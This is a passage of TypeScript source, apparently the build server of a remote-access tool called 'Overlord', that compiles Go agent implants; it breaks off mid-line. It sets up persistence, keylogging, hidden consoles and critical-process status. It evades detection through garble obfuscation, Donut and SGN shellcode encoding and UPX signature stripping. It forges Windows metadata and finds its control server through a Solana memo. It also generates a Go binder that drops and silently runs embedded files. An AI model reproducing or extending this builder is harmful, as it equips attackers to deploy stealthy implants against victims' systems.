import { $ } from "bun"; import path from "path"; import fs from "fs"; import { v4 as uuidv4 } from "uuid"; import { saveBuild, insertSharedFile, type SharedFileRecord } from "../db"; import { getUserById, canUploadFiles } from "../users"; import { logger } from "../logger"; import { getConfig } from "../config"; import { signBuildToken } from "./build-signing"; import { ensureDataDir } from "../paths"; import * as buildManager from "../build/buildManager"; import type { BuildStream } from "../build/types"; import { ALLOWED_PLATFORMS } from "./validation-constants"; import { resolveRuntimeRoot } from "./runtime-paths"; import { ensureToolchain, toolchainKeyForTarget, type EnsuredToolchain, } from "./toolchain-manager"; import { runDonut } from "./donut-manager"; import { buildLinuxShellcode } from "./linux-shellcode-manager"; import { runSgn } from "./sgn-manager"; import { resolveContainedPath } from "./upload-security"; function isClientModuleDir(dir: string): boolean { return ( fs.existsSync(path.join(dir, "go.mod")) && fs.existsSync(path.join(dir, "cmd", "agent")) ); } function resolveClientModuleDir(rootDir: string): string | null { const candidates = [ path.join(rootDir, "Overlord-Client"), path.join(rootDir, "..", "Overlord-Client"), path.join(rootDir, "dist", "Overlord-Client"), path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"), ]; for (const dir of candidates) { if (isClientModuleDir(dir)) { return dir; } } return null; } function resolveClientBuildCacheRoot(): string { const explicit = process.env.OVERLORD_CLIENT_BUILD_CACHE_DIR?.trim(); if (explicit) { return path.resolve(explicit); } // Keep UI build caches under persistent app data by default. return path.resolve(ensureDataDir(), "client-build-cache"); } function resolveExplicitAndroidNdkToolchainBin(): string | null { const explicit = process.env.ANDROID_NDK_HOME?.trim(); if (!explicit) return null; const hostArch = process.arch === "arm64" ? "linux-aarch64" : "linux-x86_64"; const toolchainBin = path.join(explicit, "toolchains", "llvm", "prebuilt", hostArch, "bin"); try { return fs.existsSync(toolchainBin) ? toolchainBin : null; } catch { return null; } } type BoundFile = { name: string; data: string; // base64 targetOS: string[]; // [] = all, otherwise ["windows","linux","darwin"] execute: boolean; }; type BuildProcessConfig = { platforms: string[]; serverUrl?: string; rawServerList?: boolean; mutex?: string; disableMutex?: boolean; stripDebug?: boolean; disableCgo?: boolean; obfuscate?: boolean; enablePersistence?: boolean; persistenceMethods?: string[]; startupName?: string; hideConsole?: boolean; noPrinting?: boolean; disableKeylogger?: boolean; enableWebrtc?: boolean; enableWinRE?: boolean; builtByUserId?: number; outputName?: string; garbleLiterals?: boolean; garbleTiny?: boolean; garbleSeed?: string; assemblyTitle?: string; assemblyProduct?: string; assemblyCompany?: string; assemblyVersion?: string; assemblyCopyright?: string; iconBase64?: string; enableUpx?: boolean; upxStripHeaders?: boolean; requireAdmin?: boolean; criticalProcess?: boolean; outputExtension?: string; sleepSeconds?: number; boundFiles?: BoundFile[]; useDonut?: boolean; useLinuxShellcode?: boolean; shellcodeConsole?: boolean; useSgn?: boolean; sgnIterations?: number; solMemo?: boolean; solAddress?: string; solRpcEndpoints?: string; iosBundleId?: string; fetchPublicIP?: boolean; uploadToFileShare?: boolean; }; function stripUpxHeaders(filePath: string): boolean { try { const buf = Buffer.from(fs.readFileSync(filePath)); const UPX_MAGIC = Buffer.from("UPX!"); let modified = false; let offset = 0; while (offset < buf.length - 3) { const idx = buf.indexOf(UPX_MAGIC, offset); if (idx === -1) break; buf[idx] = 0x00; buf[idx + 1] = 0x00; buf[idx + 2] = 0x00; buf[idx + 3] = 0x00; modified = true; offset = idx + 4; } if (modified) { fs.writeFileSync(filePath, buf); } return modified; } catch { return false; } } type BuildProcessDeps = { generateBuildMutex: (length?: number) => string; sanitizeOutputName: (name: string) => string; fileShareRoot?: string; }; function guessMimeTypeForUpload(filename: string): string { const ext = path.extname(filename).toLowerCase(); switch (ext) { case ".exe": case ".dll": case ".scr": case ".com": case ".pif": return "application/vnd.microsoft.portable-executable"; case ".bat": case ".cmd": return "application/bat"; case ".bin": return "application/octet-stream"; case ".ipa": return "application/octet-stream"; case ".sgn": return "application/octet-stream"; default: return "application/octet-stream"; } } async function uploadBuildFilesToFileShare( build: BuildStream, outDir: string, fileShareRoot: string, userId: number, sendToStream: (data: any) => void, ): Promise { const dbUser = getUserById(userId); if (!dbUser) { sendToStream({ type: "output", text: "WARNING: Skipping file-share upload — uploading user not found.\n", level: "warn", }); return; } if (!canUploadFiles(dbUser.id, dbUser.role)) { sendToStream({ type: "output", text: "WARNING: Skipping file-share upload — you do not have upload permission.\n", level: "warn", }); return; } await fs.promises.mkdir(fileShareRoot, { recursive: true }); sendToStream({ type: "status", text: "Uploading build to file share..." }); sendToStream({ type: "output", text: `\n── Uploading ${build.files.length} file(s) to file share ──\n`, level: "info", }); for (const file of build.files as any[]) { const filename: string = file.filename || file.name; if (!filename) continue; const sourcePath = resolveContainedPath(outDir, filename); if (!fs.existsSync(sourcePath)) { sendToStream({ type: "output", text: `WARNING: Build output not found on disk for upload: ${filename}\n`, level: "warn", }); continue; } try { const id = uuidv4(); const folder = resolveContainedPath(fileShareRoot, id); await fs.promises.mkdir(folder, { recursive: true }); const targetPath = resolveContainedPath(folder, filename); await fs.promises.copyFile(sourcePath, targetPath); const size = fs.statSync(targetPath).size; const record: SharedFileRecord = { id, filename, storedPath: targetPath, size, mimeType: guessMimeTypeForUpload(filename), uploadedBy: dbUser.id, uploadedByUsername: dbUser.username, passwordHash: null, maxDownloads: null, downloadCount: 0, expiresAt: null, createdAt: Date.now(), description: `Build ${build.id.substring(0, 8)} — ${file.platform || "unknown"}`, }; insertSharedFile(record); logger.info( `[file-share] ${dbUser.username} uploaded "${filename}" (${size} bytes) id=${id} via build ${build.id.substring(0, 8)}`, ); sendToStream({ type: "output", text: `Uploaded ${filename} (${size} bytes) → file share id ${id}\n`, level: "success", }); sendToStream({ type: "file_share_uploaded", id, filename, platform: file.platform || null, size, }); } catch (err: any) { sendToStream({ type: "output", text: `WARNING: Failed to upload ${filename} to file share: ${err.message || err}\n`, level: "warn", }); } } } function detectAgentVersion(clientDir: string): string { try { const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go"); const content = fs.readFileSync(configPath, "utf8"); const match = content.match(/var\s+AgentVersion\s*=\s*"([^"]+)"/); return match?.[1]?.trim() || "unknown"; } catch { return "unknown"; } } export async function startBuildProcess( buildId: string, config: BuildProcessConfig, deps: BuildProcessDeps, ): Promise { const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000; const BUILD_STREAM_HEARTBEAT_MS = 15_000; const now = Date.now(); const build: BuildStream = { id: buildId, controllers: [], status: "running", startTime: now, expiresAt: now + SEVEN_DAYS_MS, files: [], userId: config.builtByUserId, }; buildManager.addBuildStream(buildId, build); const sendToStream = (data: any) => { const encoder = new TextEncoder(); const message = `data: ${JSON.stringify(data)}\n\n`; const encoded = encoder.encode(message); if (data.type === "output") { logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`); } else if (data.type === "status") { logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`); } else if (data.type === "error") { logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`); } const alive: ReadableStreamDefaultController[] = []; for (const controller of build.controllers) { try { controller.enqueue(encoded); alive.push(controller); } catch { } } build.controllers.length = 0; build.controllers.push(...alive); if (data.type === "complete") { for (const controller of build.controllers) { try { controller.close(); } catch {} } build.controllers.length = 0; } }; let winresTempDir: string | null = null; const generatedSysoFiles: string[] = []; let binderGenPath: string | null = null; let binderFilesDir: string | null = null; let binderLockPath: string | null = null; const buildStartedAt = Date.now(); const keepAliveTimer = setInterval(() => { const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000); sendToStream({ type: "heartbeat", elapsedMinutes, timestamp: Date.now(), }); }, BUILD_STREAM_HEARTBEAT_MS); try { const serverConfig = getConfig(); const buildAgentToken = (serverConfig.auth.agentToken || "").trim(); sendToStream({ type: "status", text: "Preparing build environment..." }); try { const goCheck = await $`go version`.quiet(); const goVersion = goCheck.stdout.toString().trim(); logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`); sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" }); } catch { const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH."; logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`); sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" }); sendToStream({ type: "error", error: errorMsg }); sendToStream({ type: "complete", success: false }); build.status = "failed"; return; } const rootDir = resolveRuntimeRoot(); const clientDir = resolveClientModuleDir(rootDir); if (!clientDir) { throw new Error( `Overlord-Client source not found (missing go.mod). Checked: ${path.join(rootDir, "dist", "Overlord-Client")}, ${path.join(rootDir, "Overlord-Client")}`, ); } const agentVersion = detectAgentVersion(clientDir); const outDir = path.join(rootDir, "dist-clients"); const cacheRoot = resolveClientBuildCacheRoot(); const goBuildCacheDir = path.join(cacheRoot, "go-build"); const goModCacheDir = path.join(cacheRoot, "go-mod"); await Bun.$`mkdir -p ${outDir}`.quiet(); fs.mkdirSync(goBuildCacheDir, { recursive: true }); fs.mkdirSync(goModCacheDir, { recursive: true }); sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" }); sendToStream({ type: "output", text: `Client source: ${clientDir}\n`, level: "info" }); sendToStream({ type: "output", text: `Stub version: ${agentVersion}\n`, level: "info" }); sendToStream({ type: "output", text: `Client build cache: ${cacheRoot}\n`, level: "info" }); const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p)); if (platformsToBuild.length !== (config.platforms || []).length) { throw new Error("One or more requested platforms are not allowed"); } const hasAndroidTargets = platformsToBuild.some((p) => p.startsWith("android-")); const hasBsdTargets = platformsToBuild.some( (p) => p.startsWith("freebsd-") || p.startsWith("openbsd-"), ); const hasIosTargets = platformsToBuild.some((p) => p.startsWith("ios-")); if (hasAndroidTargets) { sendToStream({ type: "output", text: "WARNING: Android targets are severely untested and will probably not work right.\n", level: "warn", }); } if (hasBsdTargets) { sendToStream({ type: "output", text: "WARNING: BSD targets are severely untested and will probably not work right.\n", level: "warn", }); } if (hasIosTargets) { sendToStream({ type: "output", text: "WARNING: iOS targets are experimental (POC). Most features will be stubbed. CGO will be force-disabled.\n", level: "warn", }); } let ndkBin: string | null = null; if (hasAndroidTargets) { ndkBin = resolveExplicitAndroidNdkToolchainBin(); if (!ndkBin) { try { const ndk = await ensureToolchain("android-ndk", sendToStream); ndkBin = ndk.binDir; } catch (err: any) { sendToStream({ type: "output", text: `Warning: Android NDK download failed (${err.message || err}). Android builds require the NDK. Set ANDROID_NDK_HOME to use a pre-installed NDK.\n`, level: "warn", }); } } } let buildMutex = ""; if (!config.disableMutex) { buildMutex = config.mutex || deps.generateBuildMutex(); sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" }); } else { sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" }); } const buildTag = await signBuildToken({ v: 1, bid: buildId, uid: config.builtByUserId ?? null, iat: Math.floor(Date.now() / 1000), }); sendToStream({ type: "output", text: `Build tag: signed (bid=${buildId.substring(0, 8)})\n`, level: "info" }); if (config.outputName) { sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" }); } let upxBin: string | null = null; if (config.enableUpx) { try { const upxTool = await ensureToolchain("upx", sendToStream); upxBin = path.join(upxTool.binDir, "upx"); } catch (err: any) { sendToStream({ type: "output", text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`, level: "error", }); throw new Error("UPX not found"); } } const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64 || config.requireAdmin); const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-")); if (hasAssemblyData && hasWindowsTargets) { sendToStream({ type: "status", text: "Generating Windows resource data..." }); const goEnvResult = await $`go env GOPATH`.quiet(); const goPath = goEnvResult.stdout.toString().trim(); const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : ""); const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres"; let winresBin = "go-winres"; let hasWinres = false; if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) { winresBin = path.join(goBinDir, winresExe); hasWinres = true; } else { try { await $`go-winres version`.quiet(); hasWinres = true; } catch { try { sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" }); await $`go install github.com/tc-hib/go-winres@latest`.env({ ...process.env, GOMODCACHE: goModCacheDir }).quiet(); if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) { winresBin = path.join(goBinDir, winresExe); hasWinres = true; } } catch (installErr: any) { sendToStream({ type: "output", text: `WARNING: Failed to install go-winres: ${installErr.message || installErr}. Assembly data/icon will be skipped.\n`, level: "warn" }); } } } if (hasWinres) { const agentDir = path.join(clientDir, "cmd", "agent"); const winresLockPath = path.join(agentDir, ".winres.lock"); if (fs.existsSync(winresLockPath)) { sendToStream({ type: "output", text: "WARNING: Another build is currently generating Windows resources for this client. Skipping winres for this build.\n", level: "warn", }); } else { // Acquire a simple lock so only one build at a time touches cmd/agent/*.syso fs.writeFileSync(winresLockPath, String(process.pid)); try { sendToStream({ type: "output", text: `Using go-winres: ${winresBin}\n`, level: "info" }); winresTempDir = path.join(outDir, `.winres-${buildId.substring(0, 8)}`); fs.mkdirSync(winresTempDir, { recursive: true }); const winresConfig: any = {}; if (config.iconBase64) { try { const iconBuffer = Buffer.from(config.iconBase64, "base64"); const iconPath = path.join(winresTempDir, "icon.ico"); fs.writeFileSync(iconPath, iconBuffer); winresConfig["RT_GROUP_ICON"] = { "#1": { "0000": "icon.ico" } }; sendToStream({ type: "output", text: `Icon embedded (${iconBuffer.length} bytes)\n`, level: "info" }); } catch (iconErr: any) { sendToStream({ type: "output", text: `WARNING: Failed to process icon: ${iconErr.message}. Skipping icon.\n`, level: "warn" }); } } const versionStr = config.assemblyVersion || "0.0.0.0"; const winExt = config.outputExtension || ".exe"; const versionInfo: any = { "0409": { "FileDescription": config.assemblyTitle || "", "ProductName": config.assemblyProduct || "", "CompanyName": config.assemblyCompany || "", "FileVersion": versionStr, "ProductVersion": versionStr, "LegalCopyright": config.assemblyCopyright || "", "OriginalFilename": config.outputName ? (config.outputName + winExt) : "", }, }; winresConfig["RT_VERSION"] = { "#1": { "0000": { "fixed": { "file_version": versionStr, "product_version": versionStr, }, "info": versionInfo, }, }, }; const winresJsonPath = path.join(winresTempDir, "winres.json"); if (config.requireAdmin) { winresConfig["RT_MANIFEST"] = { "#1": { "0000": { "identity": {}, "description": "", "minimum-os": "vista", "execution-level": "requireAdministrator", "ui-access": false, "auto-elevate": false, "dpi-awareness": "system", "disable-theming": false, "disable-window-filtering": false, "high-resolution-scrolling-aware": false, "ultra-high-resolution-scrolling-aware": false, "long-path-aware": false, "printer-driver-isolation": false, "gdi-scaling": false, "segment-heap": false, "use-common-controls-v6": false, }, }, }; sendToStream({ type: "output", text: "UAC manifest: requireAdministrator\n", level: "info" }); } fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2)); sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" }); const sysoOutPrefix = path.join(agentDir, "rsrc"); try { const winresResult = await $`${winresBin} make --in ${winresJsonPath} --out ${sysoOutPrefix}`.cwd(winresTempDir).nothrow().quiet(); if (winresResult.exitCode !== 0) { const stderr = winresResult.stderr.toString().trim(); sendToStream({ type: "output", text: `WARNING: go-winres failed (exit ${winresResult.exitCode}): ${stderr}\nBuilding without assembly data.\n`, level: "warn" }); } else { for (const f of fs.readdirSync(agentDir)) { if (f.startsWith("rsrc") && f.endsWith(".syso")) { generatedSysoFiles.push(path.join(agentDir, f)); } } sendToStream({ type: "output", text: `Windows resources generated (${generatedSysoFiles.length} .syso files)\n`, level: "info" }); } } catch (winresErr: any) { sendToStream({ type: "output", text: `WARNING: go-winres failed: ${winresErr.message || winresErr}. Building without assembly data.\n`, level: "warn" }); } } finally { try { fs.unlinkSync(winresLockPath); } catch { // ignore errors removing the lock } } } } } // ── Binder: embed files into the agent ──────────────────────────────────── const hasBoundFiles = Array.isArray(config.boundFiles) && config.boundFiles.length > 0; if (hasBoundFiles) { sendToStream({ type: "status", text: "Setting up bound files..." }); const agentDir = path.join(clientDir, "cmd", "agent"); binderLockPath = path.join(agentDir, ".binder.lock"); binderGenPath = path.join(agentDir, "binder_gen.go"); binderFilesDir = path.join(agentDir, "bindfiles"); // Wait up to 5 minutes to acquire the binder lock (serializes concurrent builds with bound files) const BINDER_POLL_MS = 1500; const BINDER_TIMEOUT_MS = 5 * 60 * 1000; const lockWaitStart = Date.now(); while (fs.existsSync(binderLockPath)) { if (Date.now() - lockWaitStart > BINDER_TIMEOUT_MS) { throw new Error( "Could not acquire binder lock after 5 minutes. Another build may have stalled. Please try again.", ); } sendToStream({ type: "output", text: "Waiting for binder lock...\n", level: "warn" }); await new Promise((r) => setTimeout(r, BINDER_POLL_MS)); } fs.writeFileSync(binderLockPath, `${process.pid},${buildId}`); try { fs.mkdirSync(binderFilesDir, { recursive: true }); const manifest: { name: string; targetOS: string[]; execute: boolean }[] = []; for (const bf of config.boundFiles!) { const fileBytes = Buffer.from(bf.data, "base64"); fs.writeFileSync(path.join(binderFilesDir, bf.name), fileBytes, { mode: 0o755 }); manifest.push({ name: bf.name, targetOS: bf.targetOS, execute: bf.execute }); sendToStream({ type: "output", text: `Bound file: ${bf.name} (${fileBytes.length} bytes)${bf.targetOS.length > 0 ? ` [${bf.targetOS.join(",")}]` : " [all OS]"}${bf.execute ? " [exec]" : ""}\n`, level: "info", }); } fs.writeFileSync( path.join(binderFilesDir, "manifest.json"), JSON.stringify({ files: manifest }, null, 2), ); const binderGoCode = `//go:build hasbinder package main import ( \t"embed" \t"encoding/json" \t"os" \t"os/exec" \t"path/filepath" \t"runtime" ) //go:embed bindfiles var boundFilesFS embed.FS type binderFileEntry struct { \tName string \`json:"name"\` \tTargetOS []string \`json:"targetOS"\` \tExecute bool \`json:"execute"\` } type binderManifest struct { \tFiles []binderFileEntry \`json:"files"\` } func runBoundFiles() { \tmanifestData, err := boundFilesFS.ReadFile("bindfiles/manifest.json") \tif err != nil { \t\treturn \t} \tvar manifest binderManifest \tif err := json.Unmarshal(manifestData, &manifest); err != nil { \t\treturn \t} \tif len(manifest.Files) == 0 { \t\treturn \t} \ttmpDir, err := os.MkdirTemp("", "ovld_") \tif err != nil { \t\treturn \t} \tfor _, entry := range manifest.Files { \t\tif len(entry.TargetOS) > 0 { \t\t\tmatched := false \t\t\tfor _, t := range entry.TargetOS { \t\t\t\tif t == runtime.GOOS { \t\t\t\t\tmatched = true \t\t\t\t\tbreak \t\t\t\t} \t\t\t} \t\t\tif !matched { \t\t\t\tcontinue \t\t\t} \t\t} \t\tdata, err := boundFilesFS.ReadFile("bindfiles/" + entry.Name) \t\tif err != nil { \t\t\tcontinue \t\t} \t\toutPath := filepath.Join(tmpDir, entry.Name) \t\tif err := os.WriteFile(outPath, data, 0755); err != nil { \t\t\tcontinue \t\t} \t\tif entry.Execute { \t\t\tvar cmd *exec.Cmd \t\t\tswitch runtime.GOOS { \t\t\tcase "windows": \t\t\t\tcmd = exec.Command("cmd", "/c", "start", "", outPath) \t\t\tcase "darwin": \t\t\t\tcmd = exec.Command("open", outPath) \t\t\tdefault: \t\t\t\tcmd = exec.Command("xdg-open", outPath) \t\t\t} \t\t\t_ = cmd.Start() \t\t} \t} } `; fs.writeFileSync(binderGenPath, binderGoCode); sendToStream({ type: "output", text: `Binder ready: ${config.boundFiles!.length} file(s) will be embedded\n`, level: "info", }); } catch (binderErr: any) { // Release lock on setup failure try { fs.unlinkSync(binderLockPath); } catch {} binderLockPath = null; throw new Error(`Binder setup failed: ${binderErr.message || binderErr}`); } } // ── End binder setup ────────────────────────────────────────────────────── for (const platform of platformsToBuild) { const [os, arch, ...rest] = platform.split("-"); const goarm = arch === "armv7" ? "7" : undefined; const actualArch = goarm ? "arm" : arch; // iOS builds use GOOS=darwin with a custom build tag since GOOS=ios requires CGO/Xcode const isIosTarget = os === "ios"; const effectiveOs = isIosTarget ? "darwin" : os; const targetKey = `${effectiveOs}/${actualArch}${goarm ? `/v${goarm}` : ""}`; const namePrefix = config.outputName || "agent"; const winExt = config.outputExtension || ".exe"; const buildSlug = buildId.substring(0, 8); const friendlyOutputName = deps.sanitizeOutputName( platform.includes("windows") ? `${namePrefix}-${platform}${winExt}` : `${namePrefix}-${platform}`, ); const outputName = deps.sanitizeOutputName( platform.includes("windows") ? `${namePrefix}-${platform}-${buildSlug}${winExt}` : `${namePrefix}-${platform}-${buildSlug}`, ); sendToStream({ type: "status", text: `Building ${platform}...` }); sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" }); const env: NodeJS.ProcessEnv = { ...process.env, GOOS: effectiveOs, GOARCH: actualArch, CGO_ENABLED: config.disableCgo === true ? "0" : "1", GOWORK: "off", GOCACHE: goBuildCacheDir, GOMODCACHE: goModCacheDir, ...(goarm ? { GOARM: goarm } : {}), }; if (targetKey === "windows/arm64" && env.CGO_ENABLED === "1") { env.CGO_ENABLED = "0"; sendToStream({ type: "output", text: "WARNING: windows/arm64 builds do not support CGO in this pipeline; forcing CGO disabled for this target.\n", level: "warn", }); } if (isIosTarget && env.CGO_ENABLED === "1") { env.CGO_ENABLED = "0"; sendToStream({ type: "output", text: "WARNING: iOS builds require Xcode toolchain for CGO; forcing CGO disabled for this target.\n", level: "warn", }); } if ( effectiveOs === "darwin" && !isIosTarget && process.platform !== "darwin" && env.CGO_ENABLED === "1" ) { env.CGO_ENABLED = "0"; sendToStream({ type: "output", text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n", level: "warn", }); } if (env.CGO_ENABLED === "1") { let cc: string | undefined; let cxx: string | undefined; let extraBinDir: string | undefined; if (os === "android" && ndkBin) { const ndkCcByTarget: Record = { "android/amd64": "x86_64-linux-android21-clang", "android/arm64": "aarch64-linux-android21-clang", "android/arm/v7": "armv7a-linux-androideabi21-clang", }; const basename = ndkCcByTarget[targetKey]; if (basename) { cc = path.join(ndkBin, basename); cxx = path.join(ndkBin, `${basename}++`); extraBinDir = ndkBin; env.AR = path.join(ndkBin, "llvm-ar"); } } else { const tcKey = toolchainKeyForTarget(targetKey); if (tcKey) { try { const tc: EnsuredToolchain = await ensureToolchain(tcKey, sendToStream); cc = tc.ccPath; cxx = tc.cxxPath; extraBinDir = tc.binDir; if (tc.arPath) env.AR = tc.arPath; } catch (err: any) { sendToStream({ type: "output", text: `ERROR: Failed to provision cross-compile toolchain for ${targetKey}: ${err.message || err}\n`, level: "error", }); throw err; } } } if (cc) { env.CC = cc; sendToStream({ type: "output", text: `CGO compiler: ${cc}\n`, level: "info" }); } else { sendToStream({ type: "output", text: `CGO compiler not mapped for ${targetKey}; falling back to default compiler lookup\n`, level: "warn", }); } if (cxx) { env.CXX = cxx; } if (extraBinDir) { const sep = process.platform === "win32" ? ";" : ":"; env.PATH = `${extraBinDir}${sep}${env.PATH || process.env.PATH || ""}`; } } let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : ""; if (config.serverUrl) { const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`; ldflags = `${ldflags} ${serverFlag}`; sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" }); } if (config.rawServerList) { const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true"; ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag; sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" }); } if (config.solMemo) { const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true"; ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag; sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" }); if (config.solAddress) { const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`; ldflags = `${ldflags} ${solAddrFlag}`; sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" }); } if (config.solRpcEndpoints) { const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`; ldflags = `${ldflags} ${solRpcFlag}`; sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" }); } } if (buildMutex) { const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`; ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag; } if (config.enablePersistence) { if (!platform.startsWith('android-')) { const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true"; ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag; const activeMethods = config.persistenceMethods && config.persistenceMethods.length > 0 ? config.persistenceMethods : ['startup']; sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" }); if (config.startupName) { const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`; ldflags = `${ldflags} ${startupNameFlag}`; sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" }); } } else { sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" }); } } if (buildAgentToken) { const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`; ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag; } if (buildTag) { const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag=${buildTag}`; ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag; } if (config.sleepSeconds && config.sleepSeconds > 0) { const sleepFlag = `-X overlord-client/cmd/agent/config.DefaultSleepSeconds=${config.sleepSeconds}`; ldflags = ldflags ? `${ldflags} ${sleepFlag}` : sleepFlag; sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" }); } if (config.fetchPublicIP) { const publicIPFlag = "-X overlord-client/cmd/agent/config.DefaultFetchPublicIP=true"; ldflags = ldflags ? `${ldflags} ${publicIPFlag}` : publicIPFlag; sendToStream({ type: "output", text: "Public IP lookup enabled (api.ipify.org)\n", level: "info" }); } if (config.hideConsole && os === "windows") { const hideConsoleFlag = "-H=windowsgui"; ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag; sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" }); } if (config.criticalProcess && os === "windows") { const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true"; ldflags = ldflags ? `${ldflags} ${criticalFlag}` : criticalFlag; sendToStream({ type: "output", text: "Critical process: enabled (requires admin at runtime)\n", level: "info" }); } if (config.obfuscate) { sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" }); if (config.garbleLiterals) { sendToStream({ type: "output", text: "Garble: obfuscate literals (-literals)\n", level: "info" }); } if (config.garbleTiny) { sendToStream({ type: "output", text: "Garble: tiny mode (-tiny)\n", level: "info" }); } if (config.garbleSeed) { sendToStream({ type: "output", text: `Garble: seed=${config.garbleSeed}\n`, level: "info" }); } } if (config.noPrinting) { sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" }); } if (config.disableKeylogger) { sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" }); } // Linux CGO builds must be fully statically linked to avoid glibc version // mismatches between the build server and target machines. if (os === "linux" && env.CGO_ENABLED === "1") { const staticFlag = "-extldflags '-static'"; ldflags = ldflags ? `${ldflags} ${staticFlag}` : staticFlag; sendToStream({ type: "output", text: "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n", level: "info" }); } // Compile the plugin host shim so the agent can embed it via //go:embed. // The shim is a small dynamically-linked binary that dlopen()s plugins on // behalf of the statically-linked agent (static musl cannot call dlopen). // We use the native 'cc' for amd64 (glibc, works on most servers) and the // musl cross-compiler for arm targets (works on musl/Alpine targets). if (os === "linux" && env.CGO_ENABLED === "1") { const pluginHostSrc = path.join(clientDir, "cmd/agent/plugins/plugin_host/plugin_host.c"); if (fs.existsSync(pluginHostSrc)) { const archSuffix = actualArch === "amd64" ? "amd64" : actualArch === "arm64" ? "arm64" : "arm"; const pluginHostOut = path.join(clientDir, `cmd/agent/plugins/plugin_host/plugin_host_${archSuffix}`); // For amd64 compile a fully static glibc binary (-static -ldl) so the // shim has no shared library dependencies and runs on any glibc version. // Static glibc can still call dlopen at runtime via the system ld-linux.so.2. // For cross-compiled arches use env.CC (musl cross-compiler) without -static. const hostCC = actualArch === "amd64" ? "cc" : (env.CC || "cc"); const shimExtraFlags = actualArch === "amd64" ? ["-static"] : []; sendToStream({ type: "output", text: `Compiling plugin host shim (${archSuffix}) with ${hostCC}...\n`, level: "info" }); try { const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} ${shimExtraFlags} -ldl`.nothrow(); let compileOut = ""; for await (const line of compileProc.lines()) { compileOut += line + "\n"; } const compileResult = await compileProc; if (compileResult.exitCode !== 0) { sendToStream({ type: "output", text: `Warning: plugin host shim compilation failed — plugins will fall back to direct dlopen:\n${compileOut}\n`, level: "warn" }); } else { sendToStream({ type: "output", text: `Plugin host shim compiled: ${pluginHostOut}\n`, level: "info" }); } } catch (err: any) { sendToStream({ type: "output", text: `Warning: plugin host shim compilation error — ${err?.message || err}\n`, level: "warn" }); } } } const isShellcodeMode = !!(config.useDonut || config.useLinuxShellcode); try { logger.info(`[build:${buildId.substring(0, 8)}] GOOS=${os} 